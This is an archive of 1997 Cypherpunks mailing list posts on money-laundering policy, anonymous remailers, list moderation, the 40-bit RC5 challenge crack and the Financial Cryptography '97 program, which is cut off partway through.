"poorly controlled by the nation states."

Morris said the working group had therefore invited representatives of
the high technology industry now
working on the new payments technology which was still "in the prototype
stage" without any clear indication
as to the direction they might take.

"We wanted to sit down with the industry as experts on money laundering
enforcement.... to let them know now
what kinds of systems would cause us problems and give the bad guys new
opportunities," he said.

The purpose was to seek to encourage development of these technologies
"in ways that do not provide a new
forum for money laundering," he said.

The FATF was essentially a preventive business, Morris added. "We do not
measure our success simply on
arrests and (money) seizures."

FATF chairman Fernando Carpentieri, the Director General of the Italian
Treasury, said drug trafficking
remained a key source of criminal proceeds which crime groups were
seeking to "legalize."

He said the Task Force, consisting mainly of OECD member countries, as
well as Hongkong, Singapore, the
Gulf Cooperation Council and the European Commission, was not at present
considering admitting further
members to preserve its efficiency.

But it was working with the authorities of countries throughout the
world to secure the broadest possible
implementation of the anti-money laundering measures it has
recommended.> G7 groups frets over electronic money laundering





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 15:16:15 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702062316.PAA02568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:49 PM 2/5/97 -0800, Lucky Green wrote:
>My attorney used to fly planes with nuclear cargo. Another friend of mine
>has been visited several times by the FBI. In either case, the FBI claimed
>upon receiving an FOIA request that they have no record on either person.
>Does anybody here believe that the USAF would let pilots take off with
>nukes on board without ever conducting a background investigation (which
>are handled by the FBI)? I didn't think so.

Background investigations for defense contractors are handled by DISCO, 
the Defense Industrial Security Clearance Office; I don't know if they
also do internal military clearance work, but I'd assume it's
_somebody_ on the military side rather than FBI, though presumably
the military does also check FBI records (and the FBI probably doesn't
have a blanket policy of always lying to the military :-)
Nuclear clearances presumably go into more depth...

As far as your friend being visited by the FBI several times,
that's obviously part of an ongoing criminal investigation (:-),
so they don't have to tell you.  If they're still thinking about
going back and harassing your friend, it's still ongoing, even if
they now know that he is or is not a Commie Sympathizer.

That, or they could have just been unable to find the records.
Anything computerized should be findable (doesn't mean it _is_,
just that it should be), though they're probably more organized
about finding things they want to find than finding things
you want them to find.  But records that exist only on paper
are a lot tougher to wade through; you can't grep dead trees,
and if your friend was being checked out as "somebody suspicious
who knows somebody we're trying to investigate/harass", the files
may not be indentified under your friend's name, or may be
stored in some big warehouse where nobody's waded through them
in decades.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Thu, 6 Feb 1997 11:21:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: mail-to-news fun
Message-ID: <199702061921.LAA28330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
...snip...
> If I were going to restart a remailer, and to offer news posting,
> I'd probably limit it to posting to moderated newsgroups only,
> so a human can trash things that look like SPAM or abuse;
> the abuse that caused me to kill my remailer wasn't something
> a simple filter would catch.  (I'd also prefix each posting with a 
> header about this message having been received from an anonymous source,
> not verified, not guaranteed to be worth the electrons it's printed on,
> probably not written by anybody whose name's at the bottom, etc....
> People don't read mail headers or disclaimers at the bottom,
> and putting disclaimers like that into message text for
> email exposes the message to traffic analysis.)

How does putting it in the message expose it to traffic analysis but not
putting it in a header?

>
...snip...
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

--------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 6 Feb 1997 15:01:41 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702062301.PAA02240@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 	I'd just appreciate it if someone would explain to me just why
> I'm being completely censored from the cypherpunks list.  ...
> Absolutely none of my recent postings are even going to
> cypherpunks-unedited, I've received no response to my mail to
> gnu@toad.com asking why, and I've received absolutely no bounces
> indicating that there are delivery problems.

I haven't investigated your story because you didn't provide enough
details and because I have been busy with other things.  There is no
infrastructure here for blocking postings from going through
cypherpunks-unedited.  It really is unedited.  Perhaps there is a
mailer problem (at your end or at mine).

If you cc'd yourself on your messages to cypherpunks, please send me a
verbatim copy of such a message that did not appear in
cypherpunks-unedited, including all the header lines.  I can trace
whether it was ever seen on the toad.com end and what happened if it
was.

Hmm.  Your message that I just received, about this problem, was cc'd
to cypherpunks.  It did not make it into the cypherpunks-unedited
list.  In examining the message header itself, there is an "Approved:
yes" line.  My guess is that your attempt to be too tricky has screwed
you.  Majordomo is probably zapping postings that claim to be, but
aren't actually, moderator-approved.  This is just a guess.  Please
try making a posting to cypherpunks without such a line, and see if it
goes through into the unedited list.  Let me know.

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben <ben@EdelWeb.fr>
Date: Thu, 6 Feb 1997 07:11:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702061511.HAA24925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > User of the list, has no place to talk. His type, to me,
> > > Characterate those who quit something and complain later,
> > > Knowing that some people will listen to them.
> > >
> > > So what, if he decided to leave? It was his own choice
> > > And he can't just come back and say everyone who stayed is
> > > Now impelled to listen to him, just because he used to
> > > Do a bunch of posts. I don't think that hardly any of
> > > You would listened to me later if I left the list.
> 
>  I write good englich, but I write it verticaly, not horizontaly.
> Try reading the above up-to-down, just the first letters of
> each line.
>  It may be kindegarten crypto, but it made it onto the censored
> list.

Ahh...Sorry for the flame.  You're obviously not a native English
speaker(the Canadian address belies your origins).  Native English
speakers however have no right to poor English.

PS: The word you want is STILL characterize.

Ben.
____
Ben Samman..................................................ben@edelweb.fr
Paris, France                      Illudium Q36 Explosive Space Modulator







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 6 Feb 1997 15:01:03 -0800 (PST)
To: Derrick Storren <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702062301.PAA02200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>But Stanley Morris of the United States Treasury, who chaired a FAFT
>working group which drafted the report, told a news conference that 
>law enforcement agencies would face 'very major new challenges' if new
>technology moves the world "to a cashless society, beyond banks, cash
>and borders."

Oh No!  First they told us that they were all in favor of a cashless society
because they could track all the transactions.  It was their Orwellian
Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
they make up their minds?

I noticed the problem long about 1975 when I noticed that the spread of
ATM cards was actually the spread of a bearer instrument and would
not satisfy the control needs of the regulatory types.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvpDW4VO4r4sgSPhAQFNzQP/TOFgteQk7mry+GSqew1Yee4i24oOwJKS
HWIkmkekJB+JeaYiR3/od78ZfJUchJR6iH3isKD4a3ijofpGstXWKrmHGpPpZUJu
9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ
pvkUXNxrdIk=
=VKtO
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 15:12:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702062312.PAA02488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Hmm.  Your message that I just received, about this problem, was
JG> cc'd to cypherpunks.  It did not make it into the
JG> cypherpunks-unedited list.  In examining the message header
JG> itself, there is an "Approved: yes" line.  My guess is that your
JG> attempt to be too tricky has screwed you.

	It appears that this was the problem.  Deal with a
self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
I wish that John had helped to resolve the problem before I made it
public, but that's life.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Henderson" <markh@wimsey.bc.ca>
Date: Thu, 6 Feb 1997 16:58:57 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <199702070058.QAA04389@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Henderson" <markh@wimsey.bc.ca>
Date: Thu, 6 Feb 1997 19:41:23 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <199702070341.TAA07921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 17:11:19 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702070111.RAA04677@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>> People don't read mail headers or disclaimers at the bottom,
>> and putting disclaimers like that into message text for
>> email exposes the message to traffic analysis.)

>How does putting it in the message expose it to traffic analysis but not
>putting it in a header?

Suppose you're sending a message on a remailer chain of
you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
and Bob puts lots of disclaimers in his remailer's outgoing messages.
Anything Bob puts in a header will get stripped out by Charlie,
so it's no problem.  However, if Bob tacks a disclaimer
as the bottom text in the outgoing message, when Eve sends
mail to Fred she'll also see the disclaimer that
	The message was sent by an anonymous user
	through the remailer at Bob's Remailer Shack.
	Bob doesn't know who sent it, and doesn't keep records,
	so he can't squash the user, but he can block mail to you
	if you don't want any more anonymous email.
	Don't believe everything you read!
so she'll know to check the FBI Illegal Wiretap files for Bob.

Some comments and backtracking
0) Of course, if you want to avoid traffic analysis,
sending unencrypted email is pretty stupid, and only the
next hop is going to see a disclaimer that you append 
after the encrypted part of the message.

1) Prepending the disclaimer to the message body is
pretty unfriendly to the :: syntax, and not all that
great for PGP encrypted messages either.  Pretend I 
really just suggested appending it at the end,
since that's what I would have said if I'd been thinking :-)

On the other hand, I suppose that you can see whether the
next hop is a Type I remailer by looking for the :: or ##.

2) Cutmarks would be a nice fix, but they require too much
attention to detail to get right, in case the next hop
is a remailer.

So maybe you _should_ always put in the disclaimer,
at the end, with a reminder to always encrypt your
remailer-chain mail if you want to avoid traffic analysis :-)





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 6 Feb 1997 15:01:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit RC5 crack meaningless??
Message-ID: <199702062301.PAA02248@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A gem off sci.crypt. Schwartau's mailing list is turning into the most
amazing source of misinformation or disinformation about cryptography on
the Net.  And he's probably got the most influential audience in Washington
re crypto policy. Go figure;-)
----------------
Subject: 40-bit RC5 crack meaningless??
 Date: 6 Feb 1997 11:43:58 -0500
 From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
Newsgroups:  sci.crypt


Strassmann, the author of this denunciation of RSADS and
Ian Goldberg, is the former Director of Defense Information
(i.e., CIO,) of the Bush DoD and an often-insightful commentator
on business culture and computing.  Strange is the logic that
channels the mind of the American Defense Intellectual... or,
maybe he just doesn't know squat about cryptography???

(Reposted from Infowar Digest, Winn Schwartau's
moderated mailing list <mail to: infowar@infowar.com>
without permission.)

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
>
>These clues made the cracking significantly easier,
>because it made it possible to eliminate an enormous
>range of possible searches.
>
>The following was extracted verbatim from the
><The RSA Data Security Secret-Key Challenge>
>posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
>Clue #1:
>
>  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
>will use 12-round RC5 with a 32-bit word size. "
>
>Clue #2:
>
>  " ...The first RC5 contest will consist of some unknown plaintext
>encrypted using a 40-bit key;."
>
>Clue #3: (a  giveway!)
>
> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".
>
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.
>
>Paul
>
>At 10:21 AM -0500 1/30/97, Wright Larry wrote:
>>Following provided for your information.
>>
>>
>>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE
>>CIPHER BROKEN IMMEDIATELY
>>
>>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate
>>student, announced today that he had successfully
>>cracked RSA Data Security Inc.'s 40-bit challenge cipher
>>in just under 3.5 hours.
>>
>>RSA challenged scientists to break their encryption
>>technology, offering a $1000 award for breaking the
>>weakest version of the code.  Their offering was
>>designed to stimulate research and practical experience
>>with the security of today's codes.
>>
>>The number of bits in a cipher is an indication of the
>>maximum level of security the cipher can provide.  Each
>>additional bit doubles the potential security level of
>>the cipher.  A recent panel of experts recommended
>>using 90-bit ciphers, and 128-bit ciphers are commonly
>>used throughout the world, but US government regulations
>>restrict exportable US products to a mere 40 bits.
>>
>>Goldberg's announcement, which came just three and a
>>half hours after RSA started their contest, provides
>>very strong evidence that 40-bit ciphers are totally
>>unsuitable for practical security.  "This is the
>>final proof of what we've known for years: 40-bit
>>encryption technology is obsolete," Goldberg said.

<...Rest of the nnouncement from UC Berkeley snipped>

>Paul A. Strassmann
>55 Talmadge Hill Road, New Canaan, CT. 06840
>Telephone: 203-966-5505; Fax: 203-966-5506
>INTERNET:                  paul@strassmann.com
>WorldwideWeb:           http://www.strassmann.com
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Thu, 6 Feb 1997 15:28:42 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: Updated type2.list/pubring.mix
Message-ID: <199702062328.PAA02783@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have just updated the type2.list/pubring.mix combination on jpunix.com.
This change reflects the retirement of the lead remailer. The files are
available by anon FTP from ftp.jpunix.com as well as by Web from
www.jpunix.com.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


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QjH9lTEVqnlJk515xSC5lCZwqTgMwHBZZhGJyvYlJam5A3EZLrALdFUFdFagKWRN
3dc5iLDuZ94=
=pAwB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 19:41:16 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
Message-ID: <199702070341.TAA07903@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:47 PM 2/6/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Hmm.  Your message that I just received, about this problem, was
>JG> cc'd to cypherpunks.  It did not make it into the
>JG> cypherpunks-unedited list.  In examining the message header
>JG> itself, there is an "Approved: yes" line.  My guess is that your
>JG> attempt to be too tricky has screwed you.
>
>	It appears that this was the problem.  Deal with a
>self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
>I wish that John had helped to resolve the problem before I made it
>public, but that's life.

John does have other things to do with his time, you know :-)
If you're abusing email syntax to fake out specialized mail/news handling, 
you shouldn't be surprised if it doesn't always fake out the parts
of the system you were trying to fake out....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 6 Feb 1997 15:14:58 -0800 (PST)
To: c.musselman@internetmci.com
Subject: Re: anonymous remailers
Message-ID: <199702062314.PAA02544@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

c.musselman@internetmci.com (Charley Musselman) writes:
> C'punks --
>         When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

The solution is not to choose a trusted remailer, but to choose a
group of remailers and send your message through each one
sequentially. If you use encryption, and any one of the remailers you
send your message through is trustworthy, than it is difficult or
impossible for someone to trace your message.

Here are some places to go to find more info on remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the
bottom, there's everything you need to know there.)

Please bear in mind that anon.penet.fi no longer exists, and that it
wasn't all that secure when it did.

Hope this helps, and happy growing :-)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Thu, 6 Feb 1997 19:41:22 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702070341.TAA07918@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, stewarts@ix.netcom.com writes:

> More practically, sort of, there was the Cauzin Softstrip Reader,
> which cost about $200 and held enough data to distribute programs
> back when computers and programs were much smaller; a few PC magazines
> tried distributing programs by printing them in the back that way.
> Cute, but not cute enough to stick around very long.

Cauzin was bought by Eastman Kodak shortly after they started
advertising in the big rags (like _Byte_, which printed a test strip a
month or so before Cauzin made their big advertising push).  Cauzin was
even putting freeware programs in their ads.  At that time, Kodak was
just entering the soon-to-be-lucrative magnetic media market with their
floppy disk line.  I'd say they were bought and buried.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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=PFiP
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 6 Feb 1997 16:58:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702070058.QAA04388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 6 Feb 1997, Vin McLellan wrote:

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >To: "Wright Larry" <Wright_Larry@bah.com>
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.
> >
> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

Hmm..., word size, number of rounds, and key size are "clues"?  At least he
won't be able to make this claim when DES is cracked.  OTOH, he might consider
a known IV to be information not available under "infowar conditions."
Apparently, "Info Warriors" aren't supposed to be familiar with open standards.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

He considers a known-plaintext attack to be "a  giveway![sic]"?  It seems that
this guy could use a few clues himself.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: R.Hirschfeld@cwi.nl
Date: Thu, 6 Feb 1997 11:22:40 -0800 (PST)
To: ray@cwi.nl
Subject: revised FC97 program
Message-ID: <199702061922.LAA28379@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
			 PRELIMINARY PROGRAM
		      (Revised 6 February 1997)


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.


Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA


Preliminary Conference Program for FC97:

Monday 24 February 1997

 800 --  820
    Breakfast

 820 --  830
    Welcome

 830 --  905
    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940
    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015
    Anonymous Networking and Virtual Intranets: Tools for Anonymous
        Corporations
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155
    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230
    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)

1230 -- 1330
    Lunch

1800 -- 1930
    Cocktail Reception (at Mariners Hotel)


Tuesday 25 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Evaluating the security of electronic money;
        the view of a European central bank
    Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands)

 930 -- 1005
    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120
    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155
    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230
    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)

1230 -- 1330
    Lunch


Wednesday 26 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005
    Auditable Metering with Lightweight Security
